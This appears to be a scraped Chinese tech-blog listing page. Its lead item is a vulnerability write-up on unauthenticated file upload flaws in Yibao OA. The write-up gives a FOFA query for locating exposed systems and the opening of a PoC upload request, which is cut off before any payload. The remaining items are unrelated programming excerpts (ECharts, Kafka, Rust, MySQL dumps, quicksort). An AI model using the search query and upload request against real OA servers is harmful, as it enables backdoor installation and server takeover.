当前位置：首页 > news >正文

易宝OA 两处任意文件上传漏洞复现

news 2026/5/17 3:50:33

0x01 产品简介

易宝OA系统是一种专门为企业和机构的日常办公工作提供服务的综合性软件平台，具有信息管理、流程管理、知识管理（档案和业务管理）、协同办公等多种功能。

0x02 漏洞概述

易宝OA系统UploadFile、BasicService.asmx等接口处存在文件上传漏洞，未授权的攻击者可以上传恶意后门程序执行任意代码，获取服务器权限

0x03 复现环境

FOFA：app="顶讯科技-易宝OA系统"

0x04 漏洞复现

PoC-1

POST /api/files/UploadFile HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-url

易宝OA 两处任意文件上传漏洞复现

0x01 产品简介易宝OA系统是一种专门为企业和机构的日常办公工作提供服务的综合性软件平台，具有信息管理、流程管理、知识管理（档案和业务管理）、协同办公等多种功能。 0x02 漏洞概述易宝OA系统UploadFile、BasicService.asmx等接口处存在文件上传漏洞，未授权的攻击者可…...

编程日记 2023/12/7 7:05:37

echart饼图高亮颜色设置，数据为0时候，labelLine不显示

鼠标移上去高亮，颜色变浅，希望不改变颜色在series.data中为各项设置itemStyle，官方设置不生效，不知原因，可能版本问题 itemStyle: {normal: { color: #DFEAFF, },emphasis: { color: #DFEAFF }},数据为0时候显示饼图…...

编程日记 2023/12/7 7:04:36

Kafka 的消息格式：了解消息结构与序列化

Kafka 作为一款高性能的消息中间件系统，其消息格式对于消息的生产、传输和消费起着至关重要的作用。本篇博客将深入讨论 Kafka 的消息格式，包括消息的结构、序列化与反序列化，以及一些常用的消息格式选项。通过更丰富的示例代码和深入的解析&…...

编程日记 2023/12/7 7:03:35

装箱 Box 数据类型

装箱是最简单直接的一种智能指针，它的类型是Box<T>。装箱使我们可以把数据存储到堆上，并在栈上保留一个指向堆数据的指针。装箱操作常常被用于下面的场景： 当你拥有一个无法在编译时确定大小的类型，但又想使用这个类型的值…...

编程日记 2023/12/7 7:02:34

多传感器融合SLAM在自动驾驶方向的初步探索的记录

1. VIO的不可观问题现有的VIO都是解决的六自由度的问题, 但是对于行驶在路面上的车来说, 通常情况下不会有roll与z方向的自由度, 而且车体模型限制了不可能有纯yaw的变换. 同时由于IMU在Z轴上与roll, pitch上激励不足, 会导致IMU在初始化过程中尺度不准以及重力方向估计错误,…...

编程日记 2023/12/7 6:58:31

ffmpeg与opencv-python处理视频

安装 opencv pip install opencv-pythonFFmpeg 1.下载 FFmpeg 访问FFmpeg官方网站。选择 “Windows builds from gyan.dev” 链接，这会带您到一个包含最新版本 FFmpeg Windows 构建的页面。选择一个适合您系统的版本（例如，32位或64位&…...

编程日记 2023/12/7 6:54:27

java 操作git

实现功能：借助jgit实现拉取文件，并返回文件路径清单  <dependency><groupId>org.eclipse.jgit</groupId><artif…...

编程日记 2023/12/7 6:48:22

Linux 导入、导出 MySQL 数据库命令

一、导出数据库 1、导出完整数据：表结构数据 mysqldump -u用户名 -p 数据库名 > 数据库名.sql 举例：以下命令可以导出 abc 数据库的数据和表结构 /usr/local/mysql/bin/mysqldump -uroot -p abc > abc.sql2、只导出表结构 mysqldump -u用户名 -p…...

编程日记 2023/12/7 6:46:20

华为数通---BFD多跳检测示例

定义双向转发检测BFD（Bidirectional Forwarding Detection）是一种全网统一的检测机制，用于快速检测、监控网络中链路或者IP路由的转发连通状况。目的为了减小设备故障对业务的影响，提高网络的可靠性，网络设备需要…...

编程日记 2023/12/7 6:44:18

AWS 日志分析工具

当您的网络资源托管在 AWS 中时，需要定期监控您的 AWS CloudTrail 日志、Amazon S3 服务器日志和 AWS ELB 日志等云日志，以降低任何潜在的安全风险、识别严重错误并确保满足所有合规性法规。什么是 Amazon S3 Amazon Simple Storage Service&#xff…...

编程日记 2023/12/7 6:42:17

gitLab 和Idea分支合并

以下二选1即可完成分支合并建议第一种简单有效 Idea合并方式切换到被合并的分支，如我想把0701的内容合并到dev，切换到dev分支，然后再点击merge然后选择要合并的分支，即可,此时git上的代码没有更新只是把代码合到本地需要pull才…...

编程日记 2023/12/7 6:41:16

给地图标记点实现效果 /*** 在地图上添加标记点* point: [lng, lat]* color: #83f7a0*/addMarkerOnMap(point, color #83f7a0) {const marker new mapboxgl.Marker({draggable: false,color: color,}).setLngLat(point).addTo(this.map);this.markersList.push(marker);},…...

编程日记 2023/12/7 6:40:15

C语言——二级指针

指针变量也是变量，是变量就有地址，那么指针变量的地址存放在哪里？——这就是二期指针 int a 10;int *pa &a;int **ppa &pa;//a的地址存放在pa中，pa的地址存放在ppa中。 //pa是一级指针，ppa是二级指针。对…...

编程日记 2023/12/7 6:37:12

股市复苏中的明懿金汇：抓住新机遇

2023年对于明懿金汇来说是充满挑战与机遇的一年。面对复杂多变的市场环境，明懿金汇展现了其对市场趋势的敏锐洞察和卓越的策略适应能力。以下是该公司在2023年的主要投资策略和市场适应方式的详细分析。随着2023年中国股市迎来反弹，明懿金汇迅速调整了…...

编程日记 2023/12/7 6:36:11

Spacemesh、Kaspa和Chia的全面对比！

当今区块链领域，PoST（Proof of Space and Time）共识算法引领着一股新的技术浪潮。在这个热潮下，Chia项目作为PoST共识机制的经典项目，和目前算力赛道备受瞩目的Kaspa项目，都是不可忽视的存在。虽然这两个项…...

编程日记 2023/12/7 6:35:10

【HTML语法】

HTML语法 1. HTML语法1.1 HTML编辑器1.2 HTML模板1.3 标签示例1.4 常见的HTML标签1.51.61.71.81.91.101.11 学习网站：https://www.runoob.com/html/html-tutorial.html 1. HTML语法 HTML（全称 Hypertext Markup Language，超文本标记语言&…...

编程日记 2023/12/7 6:34:09

ROS报错：RLException:Invalid roslaunch XML Syntax: mismatched tag:

运行roslaunch文件提示： RLException:Invalid roslaunch XML Syntax: mismatched tag: line 45， column 2 The traceback for the exception was written to the log file. j 解决办法： line45 行多了标签：</node> 另外…...

编程日记 2023/12/7 6:33:08

C语言实现快速排序

完整代码： #include<stdio.h>//用第一个元素将待排序序列划分成左右两个部分，返回排序后low的位置，即枢轴的位置 int partition(int arr[],int low,int high){//让待排序序列中的第一个元素成为基准int pivotarr[low];//lowhigh代表一…...

编程日记 2023/12/7 6:31:07